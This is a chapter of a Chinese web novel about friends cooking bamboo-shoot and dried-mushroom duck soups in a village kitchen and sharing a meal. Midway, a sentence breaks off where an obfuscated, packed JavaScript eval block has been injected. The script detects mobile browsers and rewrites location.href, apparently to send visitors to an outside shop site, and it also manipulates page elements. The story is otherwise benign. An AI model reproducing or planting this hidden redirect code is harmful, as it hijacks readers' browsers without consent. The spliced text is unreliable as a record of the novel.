“地里挖的新鲜笋做腌笃鲜,”她说,“你带回来的笋干,另做一道。正好比比看,哪个好吃。” 见人同意,夏叙言垂眸把袋口解开,一股浓郁的香气就扑了出来,不是新鲜食材那种张扬的清香,而是一种更沉、更收敛的味道,像把整个山野的香味都收进了这一小方天地里。 “哇……”沈摘星凑过去吸了吸鼻子,“好香啊。” 夏叙言把手伸进去,掏出一把干香菇。那些香菇缩成了小小的一朵,伞盖上裂着细密的纹路,边缘微微卷起,颜色是深褐色的,带着一层薄薄的白霜。 “这个炖鸡最好吃。”他说着,又掏出一把笋干。笋干是切成片的,颜色发黄,硬邦邦的,像一片片老树皮。还有干豆角,一根根捋得整整齐齐,颜色已经褪成了浅褐色,拿在手里轻飘飘的。 最后是那一小袋咸菜。咸菜是用芥菜腌的,切得细细的,颜色黑褐发亮,闻起来有一股咸香。 李乘歌蹲下来,伸手翻那些干香菇。 “这个。”她拿起一朵,对着窗户照了照,“品相真好。” 夏叙言眼睛一亮:“你也懂这个?” 李乘歌笑了笑:“小时候见我外婆晒过。” 夏叙言立刻来了精神,凑过去说:“那个老乡说,他家后山有片野生的香菇林,每年秋天都能采好多,晒干了能吃到第二年开春。还有这个笋干,他说他们家那边的笋,跟咱们这边的不是一个品种,更细更长,晒干了炖肉特别入味……” 他说得兴起,把那几样干货翻来覆去地摆弄着。 沈摘星蹲在他旁边,托着腮听,听得认真极了,时不时还问一句“然后呢”“后来呢”。 李乘歌站起身,拍了拍手上的灰:“行,那就这么着,腌笃鲜用新鲜笋,再拿你带回来的干香菇和笋干炖一锅双菇笋干老鸭汤。” “我来帮忙。”夏叙言举手。 沈摘星跟在夏叙言之后举手,“我也要帮忙。” 夏叙言和沈摘星对视一眼。他伸手揉了揉她脑袋,动作里带着点哥哥式的宠溺。沈摘星笑着躲开,马尾辫在阳光里甩出一道弧线。 然后两个人闹着往灶房跑,脚步声咚咚的,惊起了老槐树上几只麻雀。 阳光从枝桠间落下来,追着他们的背影,一路洒进灶房的门里。 李乘歌站在原地,看着那扇门晃了晃,又慢慢停下来。 耳边还残留着那些笑声,混着远处偶尔传来的鸡叫,混着风吹过竹林的沙沙声。 傅拭雪走到她身边,和她并排站着,顺着她的目光看过去。 灶房里又传来乒乒乓乓的声音,筐子碰着筐子,勺子撞着锅沿,夏叙言的大嗓门和沈摘星的笑声混在一起,热闹得很。 “挺吵的。”他说。 李乘歌弯了弯嘴角:“吵点好。” 傅拭雪看了她一眼,没再说话。 两个人就这么站着,看着那扇门。 阳光从槐树叶子的缝隙里漏下来,落在他们身上,把他们的影子拉得很长,交叠在一起。 夏叙言把笋搬到水池边,撸起袖子就要下手。沈摘星拦住他,跑出去提了一壶热水回来,往冷水里兑了兑,伸手试了试温度。 沈摘星将水壶放好,“好了,不冰了。” 夏叙言把笋按进水里,搓着上面沾的泥。 沈摘星搬了个小板凳,坐在他旁边,她把洗好的笋一个一个接过来,码进筐里,码得整整齐齐,根朝外,尖朝里。 两个人一递一接,配合得还挺默契。 李乘歌拿了些许洗干净的笋回到案板边,拿起刀,开始切笋。刀落下去,咔嚓一声,嫩黄的笋肉应声断开,汁水渗出来,带着一股清甜的香气。 “这笋真嫩。”她随口说了一句。 傅拭雪走进来,“二伯母看我们最近天天忙得脚不沾地的,特意送来最好的笋,而且都是新鲜刚才山里挖出来的。” 李乘歌手上的动作顿了顿,刀悬在半空,停了那么一瞬。 她没回头,只是嘴角弯了弯。那弧度很浅,浅到几乎看不出来,却让她的眉眼整个软了下来。 傅拭雪看着她,目光在她嘴角停了一秒,然后移开了。 他没走,就站在她旁边,看着她切笋。 “夏叙言,你洗笋就洗笋,别把水溅得到处都是。”傅砚修的声音从灶房外传进来。 夏叙言低头一看,确实,脚边已经湿了一圈,水渍漫过来,快要把沈摘星的小板凳包围了。 他嘿嘿笑了两声,笑声里带着点心虚,还有点儿被抓包的窘。他稍微收敛了一点,动作小了些,可那盆水还是晃着,漾出一圈一圈的涟漪。 沈摘星问:“叙言哥哥,需要我帮你一起洗吗?” 夏叙言摇了摇头,“不用,这些笋洗干净了,你拿进去吧。” 沈摘星抱起一筐洗好的笋,往案板那边走。路过傅拭雪身边的时候,她把筐递给他。 傅拭雪接过筐,放到李乘歌手边。 “谢谢。”李乘歌头也没抬,但嘴角又弯了弯。 又过了一会儿,脚步声轻轻响起来。宋鹤眠端着一杯茶走进来,靠在门框上,“需要帮忙吗?” 李乘歌回头看她一眼,笑了:“等着吃就行。” 宋鹤眠点点头,没走,就那么靠着,偶尔喝一口茶。 阳光从窗户照进来,落在案板上,落在那堆刚切好的笋片上,亮晶晶的。 灶房里热闹得很,水声、刀声、笑声混成一片。 李乘歌听着身后的热闹,手上的动作没停,但嘴角一直翘着。 阳光落在她身上,把她的影子拉得很长,和那些笑声混在一起,落在这小小的灶房里。 锅里的油热了。 李乘歌把切好的五花肉倒进去,滋啦一声,油花四溅,香气一下子就窜了起来。 沈摘星蹲在灶台边上,眼睛一眨不眨地盯着锅,小声说:“好香啊……” 夏叙言也凑过来,脖子伸得老长,被油烟呛得直咳嗽,还舍不得退后,“这肉要炒多久?” “炒到出油就行。”李乘歌握着锅铲,手腕轻轻翻动。肉片在热油里慢慢卷起边角,颜色从粉白变成焦黄,油脂一点点渗出来,在锅底汇成亮汪汪的一小汪。 “那什么时候放笋?”夏叙言的声音被油烟熏得有点哑,尾音却还扬着。 “等肉焦黄了再放。”李乘歌的声音不高,混在滋啦滋啦的油响里,却稳稳的。 锅里的肉慢慢变了颜色。李乘歌拿起那筐切好的笋片,倒进去,又是滋啦一声,白气腾起来,糊了半扇窗户。 沈摘星在旁边咽了咽口水。那声响很轻,却还是被李乘歌捕捉到了。 她嘴角弯了弯,没回头,只是把锅里的菜又翻了翻。 夏叙言盯着那些慢慢变了颜色的肉,他转头看向沈摘星:“饿了吧?” 沈摘星摇摇头,又点点头,脸腾地红了。 夏叙言笑了,伸手在她脑袋上胡乱揉了一把。 “等着,马上就能吃了。” 他的手落在她头顶,带着点汗湿的潮气,还有洗笋时沾上的水渍。沈摘星没躲,只是仰起脸,冲他笑了笑。 阳光从窗户斜斜地照进来,落在灶台上,落在那口滋滋作响的锅里,也落在两个人身上。光里浮着细小的尘屑,缓缓地飘着。 锅里的肉终于煎出了焦黄的边,李乘歌又拿起那筐泡好的笋干和干香菇,倒进另一口锅里,那是傅拭雪炖下老鸭汤的锅。 傅拭雪站在她旁边,伸手帮她递过勺子。 “尝尝?”李乘歌舀了一勺汤,递到他面前。 傅拭雪低头,就着她的手抿了一口。 他嚼了嚼,点点头:“笋干比鲜笋更有嚼头。” 李乘歌也尝了一口,眼睛弯了弯:“那个老乡晒得确实好。” 灶房里的香味更浓了。 沈摘星忍不住吸了吸鼻子,眼睛弯成月牙。 夏叙言在旁边看着她那副馋样。 傅砚修不知道什么时候也进来了,站在宋鹤眠旁边,往锅里看了一眼:“还要多久?” 李乘歌拿着锅铲翻了翻:“快了,再焖一会儿。” 傅砚修点点头,没走,就那么站着。 窗外,阳光正暖。 二十分钟后,锅盖掀开了。 白气腾地涌上来,糊了李乘歌一脸。她眯着眼,拿锅铲翻了翻锅里的笋——肉已经炖得酥烂,笋片吸饱了汤汁,油亮亮的,泛着酱色。 “好了。” 话音刚落,夏叙言已经端着碗凑过来了。 “给我先尝一口!就一口!” 李乘歌笑着夹了一块笋,递到他嘴边。夏叙言一口咬下去,烫得直哈气,一边哈一边点头:“好吃好吃好吃!” 沈摘星也端着碗挤过来,眼睛亮晶晶的。 李乘歌给她也夹了一块,吹了吹才递过去。沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310843|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摘星小口咬着,嚼着嚼着,眼睛弯成了月牙。 “乘歌姐姐,这个好好吃。” “那多吃点。” 宋鹤眠不知道什么时候也进来了,手里拿着几个空碗,往灶台上一放。 “饭已经盛好了,端出去吧。” 夏叙言扭头一看,果然,桌上摆着几碗白米饭,热气腾腾的。 “宋鹤眠,你什么时候盛的?” “你们尝笋的时候。” 夏叙言道了谢后,就将米饭端出去了。 李乘歌把锅里的笋盛进大碗里,交给夏叙言:“可以端出去了。” 夏叙言接过碗,小心翼翼地往外走,一边走一边喊:“让一让让一让,烫烫烫!” 沈摘星跟在后面,手里抱着那个小花篮子,篮子里装着一把筷子。 一群人闹哄哄地涌到院子里。 石桌上,饭菜摆好了。 一大碗腌笃鲜摆在桌子正中央。汤汁浓白,泛着油亮亮的光,笋块和肉块挤挤挨挨地堆在一起,上面浮着几粒翠绿的葱花。热气从碗里升起来,袅袅的,慢悠悠的,在阳光里扭成一道细细的烟。 旁边是一大盆双菇笋干老鸭汤,汤色更深一些,泛着淡淡的金色。鸭肉已经炖得酥烂,香菇和笋干在汤里浮浮沉沉,每一片都吸饱了汤汁,油亮亮的。 还有清炒时蔬,嫩绿嫩绿的,是早上刚从地里掐回来的。 还有一碟咸菜,夏叙言从集市带回来的那个,李乘歌用香油拌过了,黑褐色的细丝泛着油亮亮的光,上面撒了几粒白芝麻。 米饭盛在几只粗瓷碗里,冒着热气,米粒亮晶晶的,一粒一粒分明,筷子摆在碗边。 夏叙言第一个坐下,眼睛盯着那碗腌笃鲜,咽了咽口水。 他这才发现,李乘歌还站在灶房门口,没过来。 她手里端着个什么,正往这边走。 走近了才看清,是一碗蒸蛋羹,蛋羹嫩黄嫩黄的,表面平滑如镜,没有一丝气孔。上面撒了几粒翠绿的葱花,红绿相间,煞是好看。 夏叙言等人齐了,才举起筷子:“开饭开饭!再不吃凉了!” 他的声音亮堂堂的,把那几秒的安静冲得干干净净。 沈摘星也跟着喊,声音脆生生的,像只小雀。 “开饭开饭!” 筷子动起来了。 傅砚修端起碗,夹了一筷子笋。笋片颤颤的,汤汁挂得满满的,他送到嘴边,咬了一口,嚼了嚼,没说话,只是筷子又伸过去了。 宋鹤眠坐在他旁边,也端起碗。她先舀了一勺老鸭汤,慢慢吹了吹,抿了一口,然后点点头,又夹了一筷子笋干。 傅拭雪最后拿起筷子,他没有急着夹菜,目光先从每个人脸上扫过。 夏叙言吃得腮帮子鼓鼓的,像个屯粮的仓鼠;沈摘星小口小口地咬着一块肉,眼睛眯成两道弯弯的月牙;傅砚修低头扒饭,嘴角却翘着;宋鹤眠端碗的样子,一口一口地品味; 最后,他的目光落在李乘歌身上。 她正低头吃蛋羹,嘴角弯着。那弧度很浅,浅到几乎看不出来。但就是看得出来。 傅拭雪看了她两秒,然后夹了一筷子老鸭汤里的鸡腿,放进她碗里。 李乘歌抬起头。 他没看她,只是低头继续吃自己的。 阳光从老槐树的缝隙里洒下来,落在桌上,落在每碗菜上,落在每个人身上。 夏叙言嘴里塞得满满的,含含糊糊地说了一句“这个好吃”,筷子又伸过去了。 沈摘星在旁边小声说:“叙言哥哥,我夹不到,能不能帮我夹一块。” 夏叙言筷子一顿,扭头看她,然后夹起几块放进她碗里。 阳光落在他们身上,落在那些碗筷上,落在那些细小的、几乎察觉不到的动作上。 院子里,只有碗筷碰撞的声音。 叮,当,叮,当。 和偶尔一两句话。 “这个好吃。” “给我留点。” “你碗里还有。” “那是我的!” 很轻,很淡,像风吹过竹叶的声音。 但就是听得清清楚楚。 吃完饭后,大家休息了一会儿。 吃完饭,傅砚修和宋鹤眠将饭菜和厨房收拾完毕后。 大家懒洋洋地散在院子里。 夏叙言靠在老槐树下,摸着肚子,眯着眼睛晒太阳。沈摘星蹲在他旁边,拿根小棍在地上划拉着什么。 傅砚修坐在石桌边,翻着一本不知从哪儿找来的旧书。宋鹤眠靠在他旁边的椅背上,闭着眼睛打盹。 李乘歌从灶房里出来,手里端着一壶茶。傅拭雪跟在她后面,手里拿着几只茶杯。 她把茶壶放在石桌上,傅拭雪把杯子一一摆开。 “来,喝口茶。”李乘歌说。 夏叙言一骨碌爬起来,凑过来坐下。沈摘星也跟着过来,乖乖地坐在他旁边。 李乘歌给大家倒上茶。 茶是普通的粗茶,泡得淡淡的,喝在嘴里有一点点涩,但回甘很快。 “我们来汇总一下今天大家收集到的资料。” 每个人的信息被整理成几个点,每个人都很明确的将信息分享出来。 半个小时后,信息整理完毕,李乘歌看着大家:“我的那个号不做主号。” 几个人都愣了一下,看着她。 “我想用我的号做非遗内容。”